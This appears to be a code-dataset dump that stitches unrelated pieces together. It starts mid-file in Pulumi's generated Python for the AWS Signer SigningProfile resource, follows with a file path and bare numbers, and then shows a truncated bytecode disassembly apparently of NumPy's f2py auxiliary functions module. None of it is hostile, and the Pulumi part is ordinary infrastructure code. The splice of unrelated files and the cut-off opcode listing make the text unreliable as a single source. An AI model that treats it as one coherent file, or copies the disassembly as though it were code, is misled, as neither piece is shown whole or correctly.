job. """ return pulumi.get(self, "signature_validity_period") @signature_validity_period.setter def signature_validity_period( self, value: Optional[pulumi.Input["SigningProfileSignatureValidityPeriodArgs"]] ): pulumi.set(self, "signature_validity_period", value) @property @pulumi.getter(name="signingMaterial") def signing_material( self, ) -> Optional[pulumi.Input["SigningProfileSigningMaterialArgs"]]: return pulumi.get(self, "signing_material") @signing_material.setter def signing_material( self, value: Optional[pulumi.Input["SigningProfileSigningMaterialArgs"]] ): pulumi.set(self, "signing_material", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A list of tags associated with the signing profile. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @pulumi.input_type class _SigningProfileState: def __init__( __self__, *, arn: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, name_prefix: Optional[pulumi.Input[str]] = None, platform_display_name: Optional[pulumi.Input[str]] = None, platform_id: Optional[pulumi.Input[str]] = None, revocation_records: Optional[ pulumi.Input[Sequence[pulumi.Input["SigningProfileRevocationRecordArgs"]]] ] = None, signature_validity_period: Optional[ pulumi.Input["SigningProfileSignatureValidityPeriodArgs"] ] = None, signing_material: Optional[ pulumi.Input["SigningProfileSigningMaterialArgs"] ] = None, status: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, tags_all: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, version: Optional[pulumi.Input[str]] = None, version_arn: Optional[pulumi.Input[str]] = None ): """ Input properties used for looking up and filtering SigningProfile resources. :param pulumi.Input[str] arn: The Amazon Resource Name (ARN) for the signing profile. :param pulumi.Input[str] name: A unique signing profile name. By default generated by the provider. Signing profile names are immutable and cannot be reused after canceled. :param pulumi.Input[str] name_prefix: A signing profile name prefix. The provider will generate a unique suffix. Conflicts with `name`. :param pulumi.Input[str] platform_display_name: A human-readable name for the signing platform associated with the signing profile. :param pulumi.Input[str] platform_id: The ID of the platform that is used by the target signing profile. :param pulumi.Input[Sequence[pulumi.Input['SigningProfileRevocationRecordArgs']]] revocation_records: Revocation information for a signing profile. :param pulumi.Input['SigningProfileSignatureValidityPeriodArgs'] signature_validity_period: The validity period for a signing job. :param pulumi.Input[str] status: The status of the target signing profile. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A list of tags associated with the signing profile. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags_all: A map of tags assigned to the resource, including those inherited from the provider `default_tags` configuration block. :param pulumi.Input[str] version: The current version of the signing profile. :param pulumi.Input[str] version_arn: The signing profile ARN, including the profile version. """ if arn is not None: pulumi.set(__self__, "arn", arn) if name is not None: pulumi.set(__self__, "name", name) if name_prefix is not None: pulumi.set(__self__, "name_prefix", name_prefix) if platform_display_name is not None: pulumi.set(__self__, "platform_display_name", platform_display_name) if platform_id is not None: pulumi.set(__self__, "platform_id", platform_id) if revocation_records is not None: pulumi.set(__self__, "revocation_records", revocation_records) if signature_validity_period is not None: pulumi.set(__self__, "signature_validity_period", signature_validity_period) if signing_material is not None: pulumi.set(__self__, "signing_material", signing_material) if status is not None: pulumi.set(__self__, "status", status) if tags is not None: pulumi.set(__self__, "tags", tags) if tags_all is not None: warnings.warn("""Please use `tags` instead.""", DeprecationWarning) pulumi.log.warn("""tags_all is deprecated: Please use `tags` instead.""") if tags_all is not None: pulumi.set(__self__, "tags_all", tags_all) if version is not None: pulumi.set(__self__, "version", version) if version_arn is not None: pulumi.set(__self__, "version_arn", version_arn) @property @pulumi.getter def arn(self) -> Optional[pulumi.Input[str]]: """ The Amazon Resource Name (ARN) for the signing profile. """ return pulumi.get(self, "arn") @arn.setter def arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "arn", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ A unique signing profile name. By default generated by the provider. Signing profile names are immutable and cannot be reused after canceled. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="namePrefix") def name_prefix(self) -> Optional[pulumi.Input[str]]: """ A signing profile name prefix. The provider will generate a unique suffix. Conflicts with `name`. """ return pulumi.get(self, "name_prefix") @name_prefix.setter def name_prefix(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name_prefix", value) @property @pulumi.getter(name="platformDisplayName") def platform_display_name(self) -> Optional[pulumi.Input[str]]: """ A human-readable name for the signing platform associated with the signing profile. """ return pulumi.get(self, "platform_display_name") @platform_display_name.setter def platform_display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "platform_display_name", value) @property @pulumi.getter(name="platformId") def platform_id(self) -> Optional[pulumi.Input[str]]: """ The ID of the platform that is used by the target signing profile. """ return pulumi.get(self, "platform_id") @platform_id.setter def platform_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "platform_id", value) @property @pulumi.getter(name="revocationRecords") def revocation_records( self, ) -> Optional[ pulumi.Input[Sequence[pulumi.Input["SigningProfileRevocationRecordArgs"]]] ]: """ Revocation information for a signing profile. """ return pulumi.get(self, "revocation_records") @revocation_records.setter def revocation_records( self, value: Optional[ pulumi.Input[Sequence[pulumi.Input["SigningProfileRevocationRecordArgs"]]] ], ): pulumi.set(self, "revocation_records", value) @property @pulumi.getter(name="signatureValidityPeriod") def signature_validity_period( self, ) -> Optional[pulumi.Input["SigningProfileSignatureValidityPeriodArgs"]]: """ The validity period for a signing job. """ return pulumi.get(self, "signature_validity_period") @signature_validity_period.setter def signature_validity_period( self, value: Optional[pulumi.Input["SigningProfileSignatureValidityPeriodArgs"]] ): pulumi.set(self, "signature_validity_period", value) @property @pulumi.getter(name="signingMaterial") def signing_material( self, ) -> Optional[pulumi.Input["SigningProfileSigningMaterialArgs"]]: return pulumi.get(self, "signing_material") @signing_material.setter def signing_material( self, value: Optional[pulumi.Input["SigningProfileSigningMaterialArgs"]] ): pulumi.set(self, "signing_material", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[str]]: """ The status of the target signing profile. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A list of tags associated with the signing profile. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @property @pulumi.getter(name="tagsAll") def tags_all(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A map of tags assigned to the resource, including those inherited from the provider `default_tags` configuration block. """ warnings.warn("""Please use `tags` instead.""", DeprecationWarning) pulumi.log.warn("""tags_all is deprecated: Please use `tags` instead.""") return pulumi.get(self, "tags_all") @tags_all.setter def tags_all(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags_all", value) @property @pulumi.getter def version(self) -> Optional[pulumi.Input[str]]: """ The current version of the signing profile. """ return pulumi.get(self, "version") @version.setter def version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "version", value) @property @pulumi.getter(name="versionArn") def version_arn(self) -> Optional[pulumi.Input[str]]: """ The signing profile ARN, including the profile version. """ return pulumi.get(self, "version_arn") @version_arn.setter def version_arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "version_arn", value) class SigningProfile(pulumi.CustomResource): @overload def __init__( __self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, name: Optional[pulumi.Input[str]] = None, name_prefix: Optional[pulumi.Input[str]] = None, platform_id: Optional[pulumi.Input[str]] = None, signature_validity_period: Optional[ pulumi.Input[pulumi.InputType["SigningProfileSignatureValidityPeriodArgs"]] ] = None, signing_material: Optional[ pulumi.Input[pulumi.InputType["SigningProfileSigningMaterialArgs"]] ] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None, ): """ Creates a Signer Signing Profile. A signing profile contains information about the code signing configuration parameters that can be used by a given code signing user. ```python import pulumi import pulumi_aws as aws test_sp = aws.signer.SigningProfile("testSp", platform_id="AWSLambda-SHA384-ECDSA") prod_sp = aws.signer.SigningProfile("prodSp", name_prefix="prod_sp_", platform_id="AWSLambda-SHA384-ECDSA", signature_validity_period=aws.signer.SigningProfileSignatureValidityPeriodArgs( type="YEARS", value=5, ), tags={ "tag1": "value1", "tag2": "value2", }) ``` Using `pulumi import`, import Signer signing profiles using the `name`. For example: ```sh $ pulumi import aws:signer/signingProfile:SigningProfile test_signer_signing_profile test_sp_DdW3Mk1foYL88fajut4mTVFGpuwfd4ACO6ANL0D1uIj7lrn8adK ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] name: A unique signing profile name. By default generated by the provider. Signing profile names are immutable and cannot be reused after canceled. :param pulumi.Input[str] name_prefix: A signing profile name prefix. The provider will generate a unique suffix. Conflicts with `name`. :param pulumi.Input[str] platform_id: The ID of the platform that is used by the target signing profile. :param pulumi.Input[pulumi.InputType['SigningProfileSignatureValidityPeriodArgs']] signature_validity_period: The validity period for a signing job. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A list of tags associated with the signing profile. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ ... @overload def __init__( __self__, resource_name: str, args: SigningProfileArgs, opts: Optional[pulumi.ResourceOptions] = None, ): """ Creates a Signer Signing Profile. A signing profile contains information about the code signing configuration parameters that can be used by a given code signing user. ```python import pulumi import pulumi_aws as aws test_sp = aws.signer.SigningProfile("testSp", platform_id="AWSLambda-SHA384-ECDSA") prod_sp = aws.signer.SigningProfile("prodSp", name_prefix="prod_sp_", platform_id="AWSLambda-SHA384-ECDSA", signature_validity_period=aws.signer.SigningProfileSignatureValidityPeriodArgs( type="YEARS", value=5, ), tags={ "tag1": "value1", "tag2": "value2", }) ``` Using `pulumi import`, import Signer signing profiles using the `name`. For example: ```sh $ pulumi import aws:signer/signingProfile:SigningProfile test_signer_signing_profile test_sp_DdW3Mk1foYL88fajut4mTVFGpuwfd4ACO6ANL0D1uIj7lrn8adK ``` :param str resource_name: The name of the resource. :param SigningProfileArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts( SigningProfileArgs, pulumi.ResourceOptions, *args, **kwargs ) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init( __self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, name: Optional[pulumi.Input[str]] = None, name_prefix: Optional[pulumi.Input[str]] = None, platform_id: Optional[pulumi.Input[str]] = None, signature_validity_period: Optional[ pulumi.Input[pulumi.InputType["SigningProfileSignatureValidityPeriodArgs"]] ] = None, signing_material: Optional[ pulumi.Input[pulumi.InputType["SigningProfileSigningMaterialArgs"]] ] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None, ): opts = pulumi.ResourceOptions.merge( _utilities.get_resource_opts_defaults(), opts ) if not isinstance(opts, pulumi.ResourceOptions): raise TypeError( "Expected resource options to be a ResourceOptions instance" ) if opts.id is None: if __props__ is not None: raise TypeError( "__props__ is only valid when passed in combination with a valid opts.id to get an existing resource" ) __props__ = SigningProfileArgs.__new__(SigningProfileArgs) __props__.__dict__["name"] = name __props__.__dict__["name_prefix"] = name_prefix if platform_id is None and not opts.urn: raise TypeError("Missing required property 'platform_id'") __props__.__dict__["platform_id"] = platform_id __props__.__dict__["signature_validity_period"] = signature_validity_period __props__.__dict__["signing_material"] = signing_material __props__.__dict__["tags"] = tags __props__.__dict__["arn"] = None __props__.__dict__["platform_display_name"] = None __props__.__dict__["revocation_records"] = None __props__.__dict__["status"] = None __props__.__dict__["tags_all"] = None __props__.__dict__["version"] = None __props__.__dict__["version_arn"] = None secret_opts = pulumi.ResourceOptions(additional_secret_outputs=["tagsAll"]) opts = pulumi.ResourceOptions.merge(opts, secret_opts) super(SigningProfile, __self__).__init__( "aws:signer/signingProfile:SigningProfile", resource_name, __props__, opts ) @staticmethod def get( resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, arn: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, name_prefix: Optional[pulumi.Input[str]] = None, platform_display_name: Optional[pulumi.Input[str]] = None, platform_id: Optional[pulumi.Input[str]] = None, revocation_records: Optional[ pulumi.Input[ Sequence[ pulumi.Input[pulumi.InputType["SigningProfileRevocationRecordArgs"]] ] ] ] = None, signature_validity_period: Optional[ pulumi.Input[pulumi.InputType["SigningProfileSignatureValidityPeriodArgs"]] ] = None, signing_material: Optional[ pulumi.Input[pulumi.InputType["SigningProfileSigningMaterialArgs"]] ] = None, status: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, tags_all: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, version: Optional[pulumi.Input[str]] = None, version_arn: Optional[pulumi.Input[str]] = None, ) -> "SigningProfile": """ Get an existing SigningProfile resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] arn: The Amazon Resource Name (ARN) for the signing profile. :param pulumi.Input[str] name: A unique signing profile name. By default generated by the provider. Signing profile names are immutable and cannot be reused after canceled. :param pulumi.Input[str] name_prefix: A signing profile name prefix. The provider will generate a unique suffix. Conflicts with `name`. :param pulumi.Input[str] platform_display_name: A human-readable name for the signing platform associated with the signing profile. :param pulumi.Input[str] platform_id: The ID of the platform that is used by the target signing profile. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['SigningProfileRevocationRecordArgs']]]] revocation_records: Revocation information for a signing profile. :param pulumi.Input[pulumi.InputType['SigningProfileSignatureValidityPeriodArgs']] signature_validity_period: The validity period for a signing job. :param pulumi.Input[str] status: The status of the target signing profile. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A list of tags associated with the signing profile. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags_all: A map of tags assigned to the resource, including those inherited from the provider `default_tags` configuration block. :param pulumi.Input[str] version: The current version of the signing profile. :param pulumi.Input[str] version_arn: The signing profile ARN, including the profile version. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _SigningProfileState.__new__(_SigningProfileState) __props__.__dict__["arn"] = arn __props__.__dict__["name"] = name __props__.__dict__["name_prefix"] = name_prefix __props__.__dict__["platform_display_name"] = platform_display_name __props__.__dict__["platform_id"] = platform_id __props__.__dict__["revocation_records"] = revocation_records __props__.__dict__["signature_validity_period"] = signature_validity_period __props__.__dict__["signing_material"] = signing_material __props__.__dict__["status"] = status __props__.__dict__["tags"] = tags __props__.__dict__["tags_all"] = tags_all __props__.__dict__["version"] = version __props__.__dict__["version_arn"] = version_arn return SigningProfile(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def arn(self) -> pulumi.Output[str]: """ The Amazon Resource Name (ARN) for the signing profile. """ return pulumi.get(self, "arn") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ A unique signing profile name. By default generated by the provider. Signing profile names are immutable and cannot be reused after canceled. """ return pulumi.get(self, "name") @property @pulumi.getter(name="namePrefix") def name_prefix(self) -> pulumi.Output[str]: """ A signing profile name prefix. The provider will generate a unique suffix. Conflicts with `name`. """ return pulumi.get(self, "name_prefix") @property @pulumi.getter(name="platformDisplayName") def platform_display_name(self) -> pulumi.Output[str]: """ A human-readable name for the signing platform associated with the signing profile. """ return pulumi.get(self, "platform_display_name") @property @pulumi.getter(name="platformId") def platform_id(self) -> pulumi.Output[str]: """ The ID of the platform that is used by the target signing profile. """ return pulumi.get(self, "platform_id") @property @pulumi.getter(name="revocationRecords") def revocation_records( self, ) -> pulumi.Output[Sequence["outputs.SigningProfileRevocationRecord"]]: """ Revocation information for a signing profile. """ return pulumi.get(self, "revocation_records") @property @pulumi.getter(name="signatureValidityPeriod") def signature_validity_period( self, ) -> pulumi.Output["outputs.SigningProfileSignatureValidityPeriod"]: """ The validity period for a signing job. """ return pulumi.get(self, "signature_validity_period") @property @pulumi.getter(name="signingMaterial") def signing_material( self, ) -> pulumi.Output["outputs.SigningProfileSigningMaterial"]: return pulumi.get(self, "signing_material") @property @pulumi.getter def status(self) -> pulumi.Output[str]: """ The status of the target signing profile. """ return pulumi.get(self, "status") @property @pulumi.getter def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]: """ A list of tags associated with the signing profile. If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level. """ return pulumi.get(self, "tags") @property @pulumi.getter(name="tagsAll") def tags_all(self) -> pulumi.Output[Mapping[str, str]]: """ A map of tags assigned to the resource, including those inherited from the provider `default_tags` configuration block. """ warnings.warn("""Please use `tags` instead.""", DeprecationWarning) pulumi.log.warn("""tags_all is deprecated: Please use `tags` instead.""") return pulumi.get(self, "tags_all") @property @pulumi.getter def version(self) -> pulumi.Output[str]: """ The current version of the signing profile. """ return pulumi.get(self, "version") @property @pulumi.getter(name="versionArn") def version_arn(self) -> pulumi.Output[str]: """ The signing profile ARN, including the profile version. """ return pulumi.get(self, "version_arn")
data/pulumi_aws-6.22.2/pulumi_aws/signer/signing_profile.py
11,791
8,991
227,690
LOAD_CONST '\nAuxiliary functions for f2py2e.\n\nCopyright 1999 -- 2011 Pearu Peterson all rights reserved.\nCopyright 2011 -- present NumPy Developers.\nPermission to use, modify, and distribute this software is given under the\nterms of the NumPy (BSD style) LICENSE.\n\nNO WARRANTY IS EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pprint STORE_NAME pprint LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST None IMPORT_NAME re STORE_NAME re LOAD_CONST 0 LOAD_CONST None IMPORT_NAME types STORE_NAME types LOAD_CONST 0 LOAD_CONST ('reduce',) IMPORT_NAME functools IMPORT_FROM reduce STORE_NAME reduce POP_TOP LOAD_CONST 0 LOAD_CONST ('deepcopy',) IMPORT_NAME copy IMPORT_FROM deepcopy STORE_NAME deepcopy POP_TOP LOAD_CONST 1 LOAD_CONST ('__version__',) IMPORT_NAME IMPORT_FROM __version__ STORE_NAME __version__ POP_TOP LOAD_CONST 1 LOAD_CONST ('cfuncs',) IMPORT_NAME IMPORT_FROM cfuncs STORE_NAME cfuncs POP_TOP LOAD_CONST 'applyrules' LOAD_CONST 'debugcapi' LOAD_CONST 'dictappend' LOAD_CONST 'errmess' LOAD_CONST 'gentitle' LOAD_CONST 'getargs2' LOAD_CONST 'getcallprotoargument' LOAD_CONST 'getcallstatement' LOAD_CONST 'getfortranname' LOAD_CONST 'getpymethoddef' LOAD_CONST 'getrestdoc' LOAD_CONST 'getusercode' LOAD_CONST 'getusercode1' LOAD_CONST 'getdimension' LOAD_CONST 'hasbody' LOAD_CONST 'hascallstatement' LOAD_CONST 'hascommon' LOAD_CONST 'hasexternals' LOAD_CONST 'hasinitvalue' LOAD_CONST 'hasnote' LOAD_CONST 'hasresultnote' LOAD_CONST 'isallocatable' LOAD_CONST 'isarray' LOAD_CONST 'isarrayofstrings' LOAD_CONST 'ischaracter' LOAD_CONST 'ischaracterarray' LOAD_CONST 'ischaracter_or_characterarray' LOAD_CONST 'iscomplex' LOAD_CONST 'iscomplexarray' LOAD_CONST 'iscomplexfunction' LOAD_CONST 'iscomplexfunction_warn' LOAD_CONST 'isdouble' LOAD_CONST 'isdummyroutine' LOAD_CONST 'isexternal' LOAD_CONST 'isfunction' LOAD_CONST 'isfunction_wrap' LOAD_CONST 'isint1' LOAD_CONST 'isint1array' LOAD_CONST 'isinteger' LOAD_CONST 'isintent_aux' LOAD_CONST 'isintent_c' LOAD_CONST 'isintent_callback' LOAD_CONST 'isintent_copy' LOAD_CONST 'isintent_dict' LOAD_CONST 'isintent_hide' LOAD_CONST 'isintent_in' LOAD_CONST 'isintent_inout' LOAD_CONST 'isintent_inplace' LOAD_CONST 'isintent_nothide' LOAD_CONST 'isintent_out' LOAD_CONST 'isintent_overwrite' LOAD_CONST 'islogical' LOAD_CONST 'islogicalfunction' LOAD_CONST 'islong_complex' LOAD_CONST 'islong_double' LOAD_CONST 'islong_doublefunction' LOAD_CONST 'islong_long' LOAD_CONST 'islong_longfunction' LOAD_CONST 'ismodule' LOAD_CONST 'ismoduleroutine' LOAD_CONST 'isoptional' LOAD_CONST 'isprivate' LOAD_CONST 'isrequired' LOAD_CONST 'isroutine' LOAD_CONST 'isscalar' LOAD_CONST 'issigned_long_longarray' LOAD_CONST 'isstring' LOAD_CONST 'isstringarray' LOAD_CONST 'isstring_or_stringarray' LOAD_CONST 'isstringfunction' LOAD_CONST 'issubroutine' LOAD_CONST 'get_f2py_modulename' LOAD_CONST 'issubroutine_wrap' LOAD_CONST 'isthreadsafe' LOAD_CONST 'isunsigned' LOAD_CONST 'isunsigned_char' LOAD_CONST 'isunsigned_chararray' LOAD_CONST 'isunsigned_long_long' LOAD_CONST 'isunsigned_long_longarray' LOAD_CONST 'isunsigned_short' LOAD_CONST 'isunsigned_shortarray' LOAD_CONST 'l_and' LOAD_CONST 'l_not' LOAD_CONST 'l_or' LOAD_CONST 'outmess' LOAD_CONST 'replace' LOAD_CONST 'show' LOAD_CONST 'stripcomma' LOAD_CONST 'throw_error' LOAD_CONST 'isattr_value' LOAD_CONST 'getuseblocks' LOAD_CONST 'process_f2cmap_dict' BUILD_LIST STORE_NAME __all__ LOAD_NAME __version__ LOAD_ATTR version STORE_NAME f2py_version LOAD_NAME sys LOAD_ATTR stderr LOAD_ATTR write STORE_NAME errmess LOAD_NAME pprint LOAD_ATTR pprint STORE_NAME show BUILD_MAP STORE_NAME options BUILD_LIST STORE_NAME debugoptions LOAD_CONST 1 STORE_NAME wrapfuncs LOAD_CONST <code object outmess at 0x7fab41499d20, file "f.py", line 129> LOAD_CONST 'outmess' MAKE_FUNCTION STORE_NAME outmess LOAD_CONST <code object debugcapi at 0x7fab41499150, file "f.py", line 134> LOAD_CONST 'debugcapi' MAKE_FUNCTION STORE_NAME debugcapi LOAD_CONST <code object _ischaracter at 0x7fab42018660, file "f.py", line 138> LOAD_CONST '_ischaracter' MAKE_FUNCTION STORE_NAME _ischaracter LOAD_CONST <code object _isstring at 0x7fab42018030, file "f.py", line 142> LOAD_CONST '_isstring' MAKE_FUNCTION STORE_NAME _isstring LOAD_CONST <code object ischaracter_or_characterarray at 0x7fab42018db0, file "f.py", line 146> LOAD_CONST 'ischaracter_or_characterarray' MAKE_FUNCTION STORE_NAME ischaracter_or_characterarray LOAD_CONST <code object ischaracter at 0x7fab702f7030, file "f.py", line 150> LOAD_CONST 'ischaracter' MAKE_FUNCTION STORE_NAME ischaracter LOAD_CONST <code object ischaracterarray at 0x7faab8381c00, file "f.py", line 154> LOAD_CONST 'ischaracterarray' MAKE_FUNCTION STORE_NAME ischaracterarray LOAD_CONST <code object isstring_or_stringarray at 0x7fabdc1d0c00, file "f.py", line 158> LOAD_CONST 'isstring_or_stringarray' MAKE_FUNCTION STORE_NAME isstring_or_stringarray LOAD_CONST <code object isstring at 0x7fab703f7e40, file "f.py", line 162> LOAD_CONST 'isstring' MAKE_FUNCTION STORE_NAME isstring LOAD_CONST <code object isstringarray at 0x7faac03608a0, file "f.py", line 166> LOAD_CONST 'isstringarray' MAKE_FUNCTION STORE_NAME isstringarray LOAD_CONST <code object isarrayofstrings at 0x7faac0360f60, file "f.py", line 170> LOAD_CONST 'isarrayofstrings' MAKE_FUNCTION STORE_NAME isarrayofstrings LOAD_CONST <code object isarray at 0x7faac0360540, file "f.py", line 174> LOAD_CONST 'isarray' MAKE_FUNCTION STORE_NAME isarray LOAD_CONST <code object isscalar at 0x7faac0360930, file "f.py", line 178> LOAD_CONST 'isscalar' MAKE_FUNCTION STORE_NAME isscalar LOAD_CONST <code object iscomplex at 0x7faa75c445d0, file "f.py", line 182> LOAD_CONST 'iscomplex' MAKE_FUNCTION STORE_NAME iscomplex LOAD_CONST <code object islogical at 0x7faa75c449c0, file "f.py", line 186> LOAD_CONST 'islogical' MAKE_FUNCTION STORE_NAME islogical LOAD_CONST <code object isinteger at 0x7faac03ad270, file "f.py", line 190> LOAD_CONST 'isinteger' MAKE_FUNCTION STORE_NAME isinteger LOAD_CONST <code object isreal at 0x7faac03ad8a0, file "f.py", line 194> LOAD_CONST 'isreal' MAKE_FUNCTION STORE_NAME isreal LOAD_CONST <code object get_kind at 0x7faac03adae0, file "f.py", line 198> LOAD_CONST 'get_kind' MAKE_FUNCTION STORE_NAME get_kind LOAD_CONST <code object isint1 at 0x7faac03adb70, file "f.py", line 208> LOAD_CONST 'isint1' MAKE_FUNCTION STORE_NAME isint1 LOAD_CONST <code object islong_long at 0x7faac03adc00, file "f.py", line 214> LOAD_CONST 'islong_long' MAKE_FUNCTION STORE_NAME islong_long LOAD_CONST <code object isunsigned_char at 0x7faac03ade40, file "f.py", line 222> LOAD_CONST 'isunsigned_char' MAKE_FUNCTION STORE_NAME isunsigned_char LOAD_CONST <code object isunsigned_short at 0x7faac03ad4b0, file "f.py", line 230> LOAD_CONST 'isunsigned_short' MAKE_FUNCTION STORE_NAME isunsigned_short LOAD_CONST <code object isunsigned at 0x7faac03ad660, file "f.py", line 238> LOAD_CONST 'isunsigned' MAKE_FUNCTION STORE_NAME isunsigned LOAD_CONST <code object isunsigned_long_long at 0x7faac0274d20, file "f.py", line 246> LOAD_CONST 'isunsigned_long_long' MAKE_FUNCTION STORE_NAME isunsigned_long_long LOAD_CONST <code object isdouble at 0x7faac0274ed0, file "f.py", line 254> LOAD_CONST 'isdouble' MAKE_FUNCTION STORE_NAME isdouble LOAD_CONST <code object islong_double at 0x7faac02746f0, file "f.py", line 262> LOAD_CONST 'islong_double' MAKE_FUNCTION STORE_NAME islong_double LOAD_CONST <code object islong_complex at 0x7faac02749c0, file "f.py", line 270> LOAD_CONST 'islong_complex' MAKE_FUNCTION STORE_NAME islong_complex LOAD_CONST <code object iscomplexarray at 0x7faac02744b0, file "f.py", line 276> LOAD_CONST 'iscomplexarray' MAKE_FUNCTION STORE_NAME iscomplexarray LOAD_CONST <code object isint1array at 0x7faac0274b70, file "f.py", line 280> LOAD_CONST 'isint1array' MAKE_FUNCTION STORE_NAME isint1array LOAD_CONST <code object isunsigned_chararray at 0x7faac0274540, file "f.py", line 284> LOAD_CONST 'isunsigned_chararray' MAKE_FUNCTION STORE_NAME isunsigned_chararray LOAD_CONST <code object isunsigned_shortarray at 0x7faac0274db0, file "f.py", line 292> LOAD_CONST 'isunsigned_shortarray' MAKE_FUNCTION STORE_NAME isunsigned_shortarray LOAD_CONST <code object isunsignedarray at 0x7faac02741e0, file "f.py", line 300> LOAD_CONST 'isunsignedarray' MAKE_FUNCTION STORE_NAME isunsignedarray LOAD_CONST <code object isunsigned_long_longarray at 0x7faac02745d0, file "f.py", line 308> LOAD_CONST 'isunsigned_long_longarray' MAKE_FUNCTION STORE_NAME isunsigned_long_longarray LOAD_CONST <code object issigned_chararray at 0x7faac0274930, file "f.py", line 316> LOAD_CONST 'issigned_chararray' MAKE_FUNCTION STORE_NAME issigned_chararray LOAD_CONST <code object issigned_shortarray at 0x7faac0274810, file "f.py", line 324> LOAD_CONST 'issigned_shortarray' MAKE_FUNCTION STORE_NAME issigned_shortarray LOAD_CONST <code object issigned_array at 0x7faac02748a0, file "f.py", line 332> LOAD_CONST 'issigned_array' MAKE_FUNCTION STORE_NAME issigned_array LOAD_CONST <code object issigned_long_longarray at 0x7faac0274c90, file "f.py", line 340> LOAD_CONST 'issigned_long_longarray' MAKE_FUNCTION STORE_NAME issigned_long_longarray LOAD_CONST <code object isallocatable at 0x7faac0274a50, file "f.py", line 348> LOAD_CONST 'isallocatable' MAKE_FUNCTION STORE_NAME isallocatable LOAD_CONST <code object ismutable at 0x7fa874593a50, file "f.py", line 352> LOAD_CONST 'ismutable' MAKE_FUNCTION STORE_NAME ismutable LOAD_CONST <code object ismoduleroutine at 0x7fa8745935d0, file "f.py", line 356> LOAD_CONST 'ismoduleroutine' MAKE_FUNCTION STORE_NAME ismoduleroutine LOAD_CONST <code object ismodule at 0x7fa874593300, file "f.py", line 360> LOAD_CONST 'ismodule' MAKE_FUNCTION STORE_NAME ismodule LOAD_CONST <code object isfunction at 0x7fa8745938a0, file "f.py", line 364> LOAD_CONST 'isfunction' MAKE_FUNCTION STORE_NAME isfunction LOAD_CONST <code object isfunction_wrap at 0x7fa874593db0, file "f.py", line 368> LOAD_CONST 'isfunction_wrap' MAKE_FUNCTION STORE_NAME isfunction_wrap LOAD_CONST <code object issubroutine at 0x7fa874593c00, file "f.py", line 374> LOAD_CONST 'issubroutine' MAKE_FUNCTION STORE_NAME issubroutine LOAD_CONST <code object issubroutine_wrap at 0x7fa874593420, file "f.py", line 378> LOAD_CONST 'issubroutine_wrap' MAKE_FUNCTION 